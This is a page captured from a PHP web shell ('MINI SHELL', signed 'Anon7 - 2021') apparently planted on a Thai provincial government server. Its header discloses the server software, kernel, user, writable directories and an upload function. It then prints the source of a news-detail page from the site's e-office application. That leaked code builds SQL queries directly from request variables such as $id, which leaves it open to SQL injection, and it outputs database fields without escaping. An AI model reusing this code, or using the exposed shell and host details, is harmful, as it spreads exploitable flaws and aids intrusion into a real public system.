MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/information/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/information/information_view_detail.php
<?php
session_start() ; 
	
	include("../../config/config.inc.php");
	include("../../libary/function.php"); 

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////	
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ระบบจัดการข้อมูลข่าวประชาสัมพันธ์</title>
<style>
	body{
	font-family:Tahoma, sans-serif, Arial;
	font-size: 12px;
	margin: 0 0;
	padding:0 0;
	background-color:#EEEEEE;
}
.normal_blue {
	font-size: 12px;
	color:#006699;
}
.normal{
		font-size: 12px;
}
.input{
	background-color:#FFFFFF;
	color:#666666;
	border:#CCCCCC solid 1px;
}

.blue{
	color:#0280D5;
	font-size:12px;
}

.orange{
	color:#FF6600;
	font-size:12px;
}
.mwarn,warn:link{
	color:#cc3300;
	font-size:12px;
	text-decoration:none;
}

.warn:visited{
	color:#cc3300;
	font-size:12px;
	text-decoration:none;
}

.style_white:visited {
font-size:12px;
color:#FFFFFF;
font-weight:bold;
}

.style_white:hover {
font-size:12px;
color:#FFCC00;
font-weight:bold;
}

#page{
	font-size:12px;
}

#page a:link{
	color:#999999;
	text-decoration:none;
}


#page a:visited{
	color:#999999;
	text-decoration:none;
}


body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}
.style2 {color: #000000}
-->
a.inmain_link:link,a.inmain_link:visited{
	color:#2176A8;
	text-decoration:none;

}
a.inmain_link:hover{
	color:#B0F3FF;
	text-decoration:underline;
}



</style>
<script language="javascript" src="../../libary/bbcode.js"></script>
<?php
if($action == "view") { 

$n = 0;
$sql = mysql_query("select location from `news_pic` where nid = '$id' ")or die("Query Line " . __LINE__ . " Error <hr>".mysql_error());
$pnum = mysql_num_rows($sql);
if($pnum >= 2){

$onload = "onLoad=\"runSlideShow()\"";
echo "<script language=\"JavaScript\">";
echo "var slideShowSpeed = 4000;";
echo "var crossFadeDuration = 1;";
echo "var Pic = new Array();";

while($rs = mysql_fetch_array($sql, MYSQL_ASSOC)){
	
	$image = "../../images/news/".$rs['location'];
	echo "Pic[$n] = '$image'; ";	
	$n = $n + 1;
	
}
mysql_free_result($sql);

echo "var t;";
echo "var j = 0;";
echo "var p = Pic.length;";
echo "var preLoad = new Array();";
echo "for (i = 0; i < p; i++) {";
echo "preLoad[i] = new Image();";
echo "preLoad[i].src = Pic[i];";
echo "}";
echo "function runSlideShow() {";
echo "if (document.all) {";
echo "document.images.SlideShow.style.filter=\"blendTrans(duration=2)\";";
echo "document.images.SlideShow.style.filter=\"blendTrans(duration=crossFadeDuration)\";";
echo "document.images.SlideShow.filters.blendTrans.Apply();";
echo "}";
echo "document.images.SlideShow.src = preLoad[j].src;";
echo "if (document.all) {";
echo "document.images.SlideShow.filters.blendTrans.Play();";
echo "}";
echo "j = j + 1;";	
echo "if (j > (p - 1)) j = 0;";
echo "t = setTimeout('runSlideShow()', slideShowSpeed);";
echo "}";
echo "</script>";

} elseif($pnum == 1){

	while($rs = mysql_fetch_assoc($sql)){
	$image = "../../images/news/".$rs[location];
	}
	
} else {

	$nopic = "y";

}
}
?>
</head>
<body  <?=$onload?>>

<? 
 if($action == "view") { 
	
	$sql_view = mysql_query("select * from `news` where id = '$id'")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
	$rs = mysql_fetch_assoc($sql_view);	
	
	$xsql = mysql_query("select MAX(pid) as pid, location from `news_pic` where nid = '$rs[id]' group by nid")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
	$xrs = mysql_fetch_assoc($xsql);
	
	$sql1 = mysql_query("select name from `user` where user = '$rs[author]' ")or die("Query line " . __LINE__ . " Error<hr>".mysql_error());
	$rs1 = mysql_fetch_assoc($sql1);
	
	$stamp = explode(" ",$rs[stamp]);
	$detail = ereg_replace ( chr(13) , "<br>", $rs[detail]);	
	$img = "<a href=\"news_pic.php?id=".$rs[id]."&page=$page&pid=1\" style=\"text-decoration:none\"><img src=\"../../images/cam.gif\" border=\"0\"> <font class=\"normal_blue\">จัดการข้อมูลภาพข่าว</font></a>";

?>
<table width="80%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#eeeeee">
<tr><td align="center" valign="top">
<table width="100%" bgcolor="#FFFFFF" border="0" cellspacing="0" cellpadding="3" class="normal">

<tr bgcolor="#f8f8f8">
	<td colspan="2" height="20" class="normal_blue">&nbsp;<img src="../../images/page.gif" width="18" height="18" border="0" align="absmiddle"><? echo $rs[topic]; if($rs[attach] != ""){ echo "&nbsp;<a href='$rs[attach]' target='_blank'><img src='../../images/attach.gif' border='0'>เอกสารแนบ</a>";}?> </td>
</tr>
<?
if($nopic != "y"){	
?>
<tr valign="bottom" align="center">
	<td colspan="2"><br><?=frameimg("<img src=\"".$image."\" name=\"SlideShow\" border=\"0\">")?><br></td>
</tr>
<? } ?>
<tr>
	<td colspan="2">
&nbsp;&nbsp;&nbsp;<ul><?=$detail?></ul>
	<? if(file_exists($rs[attach])){ echo "<div align=\"left\">&nbsp;&nbsp;<a href=\"$rs[attach]\" style=\"text-decoration:none;\"><font class=\"blue\">Download เอกสาร</font></a></div>"; } ?>	
	<div align="right"><?="เมื่อวันที่ ".daythai($stamp[0])."<br>เวลา ".fulltime($stamp[1])?></div>	</td>
</tr>
<tr>
	<td width="200" height="22" align="right" class="blue">จัดทำข้อมูลนี้โดย&nbsp;<b class="normal_black">:</b>&nbsp;</td>
	<td width="450" class="warn">&nbsp;<?=$rs[author]." <font class=\"normal_black\"></font>"?></td>
</tr>
<tr>
	<td colspan="2" height="20" align="center">&nbsp;</td>
</tr>
</table>
</td>
</tr>
</table>
<?php  
}
?>
</body>
</html>

Anon7 - 2021